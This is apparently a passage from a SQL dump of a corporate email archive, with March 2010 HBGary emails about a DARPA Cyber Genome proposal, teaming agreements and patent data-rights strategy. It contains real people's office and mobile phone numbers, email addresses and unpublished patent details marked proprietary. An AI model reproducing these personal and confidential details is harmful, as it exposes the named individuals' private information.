copy.\r\n\r\nIf SRI chooses to reject the HBGary NDA, then SRI will not be granted\r\naccess to HBGary proprietary technologies.  This should not have a\r\nnegative impact on the proposal effort.  This can be revisited during\r\nexecution if it is deemed necessary for SRI to have access to HBGary\r\nproduct source-code.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn 3/9/10 4:05 PM, Colleen Ferguson wrote:\r\n  \r\n  \r\n    Mr. Vera,\r\n\r\nHere are our redlines on the Teaming Agreement with HB Gary.  Please\r\nnote that we\'re still reviewing 7.4 and may have additional comments on\r\nthat paragraph.  Also,  we reject the NDA in favor of the Teaming\r\nAgreement\'s confidentiality terms.  Please let me know if the changes\r\nare acceptable.\r\n\r\nRegards,\r\nColleen\r\n\r\n    \r\n  \r\n  \r\n  \r\n\r\n\r\n-- \r\nColleen R. Ferguson\r\nSr. Contract Administrator\r\nSRI International\r\n(650) 859-4199\r\ncolleen.ferguson@sri.com\r\n\r\n\r\n',5069,'aaron_hbgary_com/5069.html'),(3872,'2010-03-10','\"Vinod Yegneswaran\" <vinod@csl.sri.com>','/aaron@hbgary.com/new/1297002035.M627928P3547Q3872.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Content','Hi Aaron,\r\n\r\n  3 PM EST is fine with us.   Is there a number where you would like us to\r\ncall?\r\n\r\nthanks\r\nvinod\r\n> Great.  3pm EST.\r\n>\r\n> On Mar 10, 2010, at 10:48 AM, Phil Porras wrote:\r\n>\r\n>   \r\n>> Hi Aaron,  we\'ll look as soon as we\'re in the office this AM.\r\n>> Do you mean 3pm ET?    My group can participate in that call\r\n>> but I may be tied up at that time.   If you don\'t mind, please CC\r\n>> vinod@csl.sri.com regarding the meeting specifics, and one of us\r\n>> will be able to attend.  Phil\r\n>>\r\n>> At 07:33 AM 3/10/2010, you wrote:\r\n>>     \r\n\r\n',8678,'aaron_hbgary_com/8678.html'),(3873,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002035.M922488P3547Q3873.eml','\"Ted Vera\" <ted@hbgary.com>','Pse join the call if you get a chance','Two comments from GD.\r\n\r\nThe manyear for this contract is 1860.\r\n\r\nAlso they want us to shift our trait task work so we show more evenness between year 1 and 2.  \r\n\r\nThats it.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.',4003,'aaron_hbgary_com/4003.html'),(3874,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002036.M118356P3547Q3874.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Did you get teh news','what!!!!!On Mar 10, 2010, at 2:59 PM, Masterson, Brian (Xetron) wrote:Proposals now due end of March.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7493,'aaron_hbgary_com/7493.html'),(3875,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002036.M323694P3547Q3875.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Did you get teh news','oh shit I am going to go get a beer.AaronOn Mar 10, 2010, at 2:59 PM, Masterson, Brian (Xetron) wrote:Proposals now due end of March.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',955,'aaron_hbgary_com/955.html'),(3876,'2010-03-10','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002036.M539643P3547Q3876.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Did you get teh news','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYup.\r\n\r\nThe proposal original, two\r\n(2) hard copies and two (2) electronic copies must be submitted to DARPA/STO,\r\n3701 North Fairfax Drive, Arlington, VA 22203-1714 (Attn: DARPA-BAA-10-36) on\r\nor before 4:00 p.m. EST, March 29, 2010, in order to be considered during the\r\ninitial round of selections; however, proposals received after this deadline\r\nmay be received and evaluated up to 180 days from date of posting on FedBizOpps\r\n\r\n&nbsp;\r\n\r\nAlso, there are questions and\r\nanswers posted.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 10, 2010 3:01 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Did you get teh news\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nwhat!!!!!\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 2:59 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nProposals\r\nnow due end of March.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12152,'aaron_hbgary_com/12152.html'),(3877,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002036.M807435P3547Q3877.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','proposal been slipped to Mar. 29th due date','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5156,'aaron_hbgary_com/5156.html'),(3878,'2010-03-10','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002037.M478105P3547Q3878.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,,,,,','RE: HBGary patent info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\nHello Bob,\r\n&nbsp;\r\nI\'m drafting&nbsp;an IP paragraph that I will email to Walt Vashek \r\nfor review.&nbsp; My drafted wording to Walt will include a statement, \"HBGary, Inc. \r\nrepresents that it owns the Digital DNA Sequence and Fuzzy Hash Algorithm \r\ninventions.\" (As required by BAA \r\n7.3)&nbsp;.\r\nAlso, in your email below you discuss HBGary, Inc.&nbsp;commerical \r\nproduct and HBGary, Inc. patents.&nbsp; Is the Digital DNA Sequence and the \r\nFuzzy Hash Algorithm the only \"commerical product\" that HBGary, Inc. desires to \r\nclaim Asserted Rights to?&nbsp; \r\n&nbsp;\r\nThe BAA requires completion of an Asserted Rights Table (see BAA \r\n7.1.2 and also my RFP Attachment 8, Item 7&nbsp;for the Table).&nbsp; Can you \r\ncomplete the Table and return to us in the next hour identifying the specific \r\ncommerical items where you are requesting restricted rights?\r\n&nbsp;\r\nThanks,\r\nCindy\r\n&nbsp;\r\n&nbsp;\r\n\r\n  \r\n  \r\n  From: Starr, Christopher H. Sent: \r\n  Wednesday, March 10, 2010 11:58 AMTo: Vashak, Walt E.; Vela, Ryan; \r\n  Brunelli, Rex; Rodriguez, Harold; Larson, Cindy S.; Spiller, John \r\n  F.Cc: Upchurch, Jason R.; Rodriguez, HaroldSubject: FW: \r\n  HBGary patent info\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n  \r\n  From: Bob Slapnik \r\n  [mailto:bob@hbgary.com] Sent: Wednesday, March 10, 2010 10:42 \r\n  AMTo: Starr, Christopher H.Cc: \'Aaron \r\n  Barr\'Subject: HBGary patent info\r\n  &nbsp;\r\n  Chris,\r\n  &nbsp;\r\n  I&#8217;ve labeled the attached doc as HBGary Proprietary.&nbsp; \r\n  The proposals can be viewed publicly as part of FOIA, and since the patents \r\n  have not yet been awarded this info is not yet public.&nbsp; At this point in \r\n  time I&#8217;d prefer the rest of our subs don&#8217;t see all this patent \r\n  info.\r\n  &nbsp;\r\n  We need to decide how much patent info to give to DARPA to \r\n  maximize odds of winning.&nbsp; And how we weave the patent info into the \r\n  proposals may differ for each proposal.\r\n  &nbsp;\r\n  As you can see in the high level overview, these patents \r\n  spell out elegant methodologies for classifying, describing and communicating \r\n  about digital objects.&nbsp; Van Putte intended for a significant percentage \r\n  of the cyber genome project to lay out some kind of classification and \r\n  communication methodology.&nbsp; \r\n  &nbsp;\r\n  HBGary&#8217;s DDNA and Fuzzy Hash implementation has been \r\n  implemented for detection.&nbsp; While we have some complex trait rules for \r\n  identifying the existence of certain functions or behaviors within a malware \r\n  sample, there is no limit for new complex analysis work.&nbsp; HBGary has done \r\n  no work in cross correlating malware samples to each other.&nbsp; HBGary&#8217;s \r\n  current malware analysis tools are excellent at uncovering lots of low level \r\n  data (more work to do there too) and displaying that data for a user to view \r\n  it.&nbsp; The new DARPA work is striving for full automation to remove the \r\n  human analyst.&nbsp; This will require far more automation of analysis, \r\n  reasoning and visualization.\r\n  &nbsp;\r\n  We want to make sure that if we deliver data to DARPA in \r\n  the DDNA and Fuzzy Hash formats that we are not giving them unlimited rights \r\n  to any commercial product or what we have patented.&nbsp; We are hoping that \r\n  GD&#8217;s IP attorney will draft language to assert data rights for HBGary&#8217;s \r\n  commercial products and patents that DARPA will accept without downgrading our \r\n  proposal. \r\n  &nbsp;\r\n  Ultimately at some point in time HBGary will be sold to a \r\n  larger company.&nbsp; We cannot give a future suitor a reason to devalue our \r\n  IP due to foolishly giving unlimited rights to our most treasured \r\n  asset.\r\n  &nbsp;\r\n  Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; \r\n  HBGary, Inc.\r\n  Office 301-652-8885 x104&nbsp; | Mobile \r\n  240-481-1419\r\n  www.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n  &nbsp;\r\n',9826,'aaron_hbgary_com/9826.html'),(3879,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002037.M764111P3547Q3879.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: proposal been slipped to Mar. 29th due date','have a technical call for a few more minutes...call in a few.\r\n\r\n\r\nOn Mar 10, 2010, at 3:14 PM, Starr, Christopher H. wrote:\r\n\r\n> Just tried to call you.  Are you free to talk?\r\n> \r\n> Chris\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, March 10, 2010 3:04 PM\r\n> To: Starr, Christopher H.; Upchurch, Jason R.\r\n> Subject: proposal been slipped to Mar. 29th due date\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3702,'aaron_hbgary_com/3702.html'),(3880,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002037.M966634P3547Q3880.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: proposal been slipped to Mar. 29th due date','Can you try me again.  I got a disconnect msg?\r\n\r\nAaron\r\n\r\nOn Mar 10, 2010, at 3:14 PM, Starr, Christopher H. wrote:\r\n\r\n> Just tried to call you.  Are you free to talk?\r\n> \r\n> Chris\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, March 10, 2010 3:04 PM\r\n> To: Starr, Christopher H.; Upchurch, Jason R.\r\n> Subject: proposal been slipped to Mar. 29th due date\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12274,'aaron_hbgary_com/12274.html'),(3881,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002038.M164184P3547Q3881.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','I finished section 5.1.5 Plans and Capabilties to Accomplish Technology Transition','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n\r\nI wrote it and posted it to google docs.\r\n\r\n&nbsp;\r\n\r\nI just realized I did not use the word &#8220;commercialization&#8221;.&nbsp;\r\nShould I?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16169,'aaron_hbgary_com/16169.html'),(3882,'2010-03-10','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002038.M449980P3547Q3882.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: IP','I think the behavioral analysis for Unix isn\'t that hard, so why do we\r\nneed Pikewerks.  Greg and I are on the way back from Cabo, we land\r\ntonite, but all email going back in forth, including your new employee\r\npoints to this isn\'t hard and  why enable a competitor?\r\n\r\nOn Mon, Mar 8, 2010 at 6:17 AM, Aaron Barr  wrote:\r\n> Ok I think we are back to doing some of this from scratch.  Pikewerks\r\n> is on the team to build behavioral analysis of malware for Linux\r\n> platform so I think we are going to have to do this separately from\r\n> product.  We need to settle this right away.  I can\'t restrict team\r\n> mates from developing what they were brought on to develop.  So I\r\n> think we just have to stay away from ddna.  Not sure about recon.\r\n>\r\n> Thoughts?\r\n>\r\n> Aaron\r\n>\r\n>  From my iPhone\r\n>\r\n> On Mar 8, 2010, at 8:57 AM, Penny Leavy  wrote:\r\n>\r\n>> Hi Aaron,\r\n>>\r\n>> I think we do want HBGary Federal to do special projects but I think\r\n>> it depends on the project.  With regards to REcon, we would want to\r\n>> probably put some changes in the code for our customers.  this product\r\n>> isn\'t done.  For Unix DDNA, we might want to have HB or Fed do this\r\n>> since it wouldn\'t be as hard and we would want to give the know how to\r\n>> Sandy and her company.  We can rely on her memory snapshot.  Greg is\r\n>> working on his book this week although hopefully not all the time:)\r\n>> It\'s finally sunny, after raining for two days.   I\'ll have him read\r\n>> email to provide clarificatino\r\n>>\r\n>> On Sun, Mar 7, 2010 at 5:06 PM, Aaron Barr  wrote:\r\n>>> Some thoughts for IP and execution of the contract.\r\n>>>\r\n>>> HBGary Federal and HBGary will be the only companies doing windows\r\n>>> based memory analysis.\r\n>>>\r\n>>> On Traits.  I was under the understanding that the trait database\r\n>>> and code would be made available to the government on contract to\r\n>>> develop their own classified traits libraries.  I also thought I\r\n>>> remember someone saying that at some point the ability to write\r\n>>> your own traits would be in the product.\r\n>>>\r\n>>> On the detection algorithm.  There is no reason this needs to be\r\n>>> used other than as a licensed product under the BAA.\r\n>>>\r\n>>> Responder.  I see no reason this needs to be used other than as a\r\n>>> licensed product under the BAA.\r\n>>>\r\n>>> REcon.  This might be the only sticky point.  The development of\r\n>>> the Automated Resolution Engine (AFR like but using REcon as base)\r\n>>> I think HBGary proper should most of this work in developing an\r\n>>> automated complete execution flow capability.  This is the one\r\n>>> piece I think deserves the most conversation as to how we want to\r\n>>> word the language.  Lets  talk more about this?\r\n>>>\r\n>>> Do agree with these assessments?\r\n>>>\r\n>>> I was under the impression when starting HBGary federal that one of\r\n>>> its primary focuses would be to do the government services and\r\n>>> tailored product work that HBGary did not want to do?  So why would\r\n>>> HBGary Inc. want to develop specific government capabilities\r\n>>> related to lineage trees?  If you do this as a separate subcontract\r\n>>> to GD then you will have to manage your own SOW, deliverables, etc.\r\n>>> rather than just providing engineering support to HBGary federal.\r\n>>>\r\n>>> THoughts.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',11407,'aaron_hbgary_com/11407.html'),(3883,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002038.M668126P3547Q3883.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,,','Re: IP','Its not just about how hard the work is, although some of what we are doing should be sufficiently hard.  I would rather go with someone that has the experience than someone that doesn\'t and it taking an stab at it (which we could probably be successful at but is it something we want to do), plus if we scratched them from the team than we would have to show that we have the past performance and manpower to staff it (which we don\'t).  It is also about the team, past performance and a winning story.  HBGary could probably do all of it, but we have less of a chance of winning if we just pitch us.  I believe we have the winning team assembled for TA3, if competition is an issue than we just need to get the proper agreements in place to work that out.  It is too late really at this point to change the team, or remove someone.  Is it really an issue?  What is the crux of the concern over Pikewerks?  After all Penny I think you were the one that encouraged me to talk to them. :)\r\n\r\nWe are back to at a minimum doing the research from scratch to determine the best approach to meet the requirements.  If DDNA ends up being the right answer than we can deal with the IP issues at that time.  This allows us to claim unrestricted data rights to the proposed research, but if later we determine that our technology is the right answer than we can readdress with DARPA to get it inserted after award and in a language that we are comfortable with.\r\n\r\nI think we kinda have been talking about this all along, its from scratch but it isn\'t.  Its hard to really define this prior to award and execution.  I think it will become much clearer during execution which is why I think it is best just to push it until then.  We are going to start with Research which is what every good research based proposal should do rather than stating you have the answer and just need money to develop it (which we might).\r\n\r\nAaron\r\n\r\nOn Mar 10, 2010, at 4:11 PM, Penny Leavy wrote:\r\n\r\n> I think the behavioral analysis for Unix isn\'t that hard, so why do we\r\n> need Pikewerks.  Greg and I are on the way back from Cabo, we land\r\n> tonite, but all email going back in forth, including your new employee\r\n> points to this isn\'t hard and  why enable a competitor?\r\n> \r\n> On Mon, Mar 8, 2010 at 6:17 AM, Aaron Barr  wrote:\r\n>> Ok I think we are back to doing some of this from scratch.  Pikewerks\r\n>> is on the team to build behavioral analysis of malware for Linux\r\n>> platform so I think we are going to have to do this separately from\r\n>> product.  We need to settle this right away.  I can\'t restrict team\r\n>> mates from developing what they were brought on to develop.  So I\r\n>> think we just have to stay away from ddna.  Not sure about recon.\r\n>> \r\n>> Thoughts?\r\n>> \r\n>> Aaron\r\n>> \r\n>>  From my iPhone\r\n>> \r\n>> On Mar 8, 2010, at 8:57 AM, Penny Leavy  wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> I think we do want HBGary Federal to do special projects but I think\r\n>>> it depends on the project.  With regards to REcon, we would want to\r\n>>> probably put some changes in the code for our customers.  this product\r\n>>> isn\'t done.  For Unix DDNA, we might want to have HB or Fed do this\r\n>>> since it wouldn\'t be as hard and we would want to give the know how to\r\n>>> Sandy and her company.  We can rely on her memory snapshot.  Greg is\r\n>>> working on his book this week although hopefully not all the time:)\r\n>>> It\'s finally sunny, after raining for two days.   I\'ll have him read\r\n>>> email to provide clarificatino\r\n>>> \r\n>>> On Sun, Mar 7, 2010 at 5:06 PM, Aaron Barr  wrote:\r\n>>>> Some thoughts for IP and execution of the contract.\r\n>>>> \r\n>>>> HBGary Federal and HBGary will be the only companies doing windows\r\n>>>> based memory analysis.\r\n>>>> \r\n>>>> On Traits.  I was under the understanding that the trait database\r\n>>>> and code would be made available to the government on contract to\r\n>>>> develop their own classified traits libraries.  I also thought I\r\n>>>> remember someone saying that at some point the ability to write\r\n>>>> your own traits would be in the product.\r\n>>>> \r\n>>>> On the detection algorithm.  There is no reason this needs to be\r\n>>>> used other than as a licensed product under the BAA.\r\n>>>> \r\n>>>> Responder.  I see no reason this needs to be used other than as a\r\n>>>> licensed product under the BAA.\r\n>>>> \r\n>>>> REcon.  This might be the only sticky point.  The development of\r\n>>>> the Automated Resolution Engine (AFR like but using REcon as base)\r\n>>>> I think HBGary proper should most of this work in developing an\r\n>>>> automated complete execution flow capability.  This is the one\r\n>>>> piece I think deserves the most conversation as to how we want to\r\n>>>> word the language.  Lets  talk more about this?\r\n>>>> \r\n>>>> Do agree with these assessments?\r\n>>>> \r\n>>>> I was under the impression when starting HBGary federal that one of\r\n>>>> its primary focuses would be to do the government services and\r\n>>>> tailored product work that HBGary did not want to do?  So why would\r\n>>>> HBGary Inc. want to develop specific government capabilities\r\n>>>> related to lineage trees?  If you do this as a separate subcontract\r\n>>>> to GD then you will have to manage your own SOW, deliverables, etc.\r\n>>>> rather than just providing engineering support to HBGary federal.\r\n>>>> \r\n>>>> THoughts.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> --\r\n>>> Penny C. Leavy\r\n>>> HBGary, Inc.\r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6143,'aaron_hbgary_com/6143.html'),(3884,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002038.M866611P3547Q3884.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','RE: Drafted Invention and Asserted Rights Language - DARPA Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCindy and Walt,\r\n\r\n&nbsp;\r\n\r\nThe only IP I am concerned about is Digital DNA Sequence and\r\nFuzzy Hash Algorithm.&nbsp; Actually, both of these technologies are contained\r\nwithin our commercial product called Digital DNA.&nbsp; In a nutshell Digital\r\nDNA and Fuzzy Hash are methods to analyze malware and describe its behaviors\r\nand traits.&nbsp; Think of it as a way to organize and communicate information.&nbsp;\r\nDuring the contract we will deliver lots of new information with full intention\r\nof giving the gov&#8217;t unlimited rights to that new data.&nbsp; But it is\r\npossible that the new data will be delivered in the FORMAT used by our IP or in\r\nthe CONTAINER of our IP.&nbsp; I want to give the gov&#8217;t unlimited rights\r\nto the new data, but not the format or container.\r\n\r\n&nbsp;\r\n\r\nHere is what Aaron wants to do&#8230;&#8230;&#8230;Offer\r\nunlimited rights on everything based on the assumption that we will research\r\nbrand new ideas that may not use our IP at all.&nbsp; If we determine after\r\nresearch that DDNA is the right approach, we go back to the customer to\r\nrenegotiate IP before delivering anything with DDNA or Fuzzy Hash in it.\r\n\r\n&nbsp;\r\n\r\nSeems to me we need to call out the IP in the proposal and\r\nassert data rights, but tell the gov&#8217;t it is likely we won&#8217;t need\r\nto deliver it, but if we do it has different rights.\r\n\r\n&nbsp;\r\n\r\nThis IP is very valuable.&nbsp; It would look bad to future\r\ninvestors if we give unlimited rights to it.\r\n\r\n&nbsp;\r\n\r\nHow do we have our cake and eat it too?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Larson, Cindy S.\r\n[mailto:Cindy.Larson@gd-ais.com] \r\nSent: Wednesday, March 10, 2010 3:33 PM\r\nTo: Vashak, Walt E.; Bob Slapnik\r\nSubject: Drafted Invention and Asserted Rights Language - DARPA Cyber\r\nGenome Proposal\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHI Walt,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; I just\r\ngot involved with this today and our team offered to assist HBGary writing a\r\nparagraph (or so) to include in GDAIS Proposal to DARPA.&nbsp; Ron Vela and\r\nteam mentioned they have talked with you about this.&nbsp;&nbsp; :o)&nbsp; Bob,\r\nI\'ve also copied you as my knowledge of this is very limited.&nbsp; I\r\nunderstand from your email that you are concerned with the government gaining\r\nunlimited rights&nbsp;to your inventions (assume this is the commerical product\r\nyou refer to in your other email.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\'ve attached\r\nDARPA\'s BAA expectation and HBGary, Inc. Patent Info. \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo, diving\r\nin, here\'s what I\'ve drafted thus far; hopefully I\'m not mixing apples and\r\noranges but Walt will set me straight:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&quot;In\r\naccordance with DARPA-BAA-10-36 dated January 28, 2010, HBGary Federal\r\nrepresents that it owns the Digital DNA Sequence and Fuzzy Hash Algorithm\r\ninventions for which a patent application(s) have been filed.&nbsp; The\r\ninventions, developed at HBGary&nbsp;Inc. private expense,&nbsp;will be\r\nutilitzed in the HBGary Federal proposal for the DARPA Cyber Genome\r\nProgram.&nbsp; The following Patent applications have not yet been made\r\npublicly available and contains proprietary information.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nDNA Sequence\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPatent application\r\nnumber: 12/386,970\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInventor name(s):\r\nMichael Gregory Hoglund\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssignee names: HBGary,\r\nInc.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date:&nbsp;\r\nApril 24, 2009\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date of any\r\nrelated provisional application: not applicable\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSummary of the patent\r\ntitle:&nbsp; Digital DNA Sequence\r\n\r\n&nbsp;\r\n\r\nHBGary\'s\r\nownership of the invention is indicated in Reel/Frame 023009/0815 in the\r\nAssignment Division of the US Patent and Trademark Office.\r\n\r\n&nbsp;\r\n\r\nFuzzy\r\nHash Algorithm\r\n\r\nOur\r\nreference #:&nbsp; 10030.000200\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Patent\r\napplication number: 12/459,203\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInventor name(s):\r\nMichael Gregory Hoglund\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssignee names: HBGary,\r\nInc.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date:&nbsp; June\r\n26, 2009\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date of any\r\nrelated provisional application: not applicable\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSummary of the patent\r\ntitle:&nbsp; Fuzzy Hash Algorithm\r\n\r\nHBGary\'s\r\nownership of the invention is indicated in Reel/Frame 023441/0496 in the\r\nAssignment Division of the US Patent and Trademark Office.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nasserts Restricted Rights (or Bob, is it Limited Restricted Rights?) &nbsp;to\r\nthe aforementioned inventions as described below.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  COMMERCIAL\r\n  \r\n \r\n \r\n  \r\n  Technical Data Computer Software To be\r\n  Furnished With Restrictions\r\n  \r\n  \r\n  Basis for Assertion\r\n  &nbsp;\r\n  \r\n  \r\n  Asserted Rights Category\r\n  &nbsp;\r\n  \r\n  \r\n  Name of Person Asserting Restrictions\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Digital DNA\r\n  Sequence&nbsp;&nbsp;&nbsp; \r\n  \r\n  \r\n  Developed at Private\r\n  Expense&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n  Restricted or Unrestricted - Bob??\r\n  \r\n  \r\n  HBGary, Inc. - Bob Slapnik, Vice\r\n  President HBGary, Inc.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOkay, that\'s\r\nit for starters.&nbsp; Walt, Bob please advise ASAP today as the FMR is on\r\nFriday and we need to complete our proposals.&nbsp; 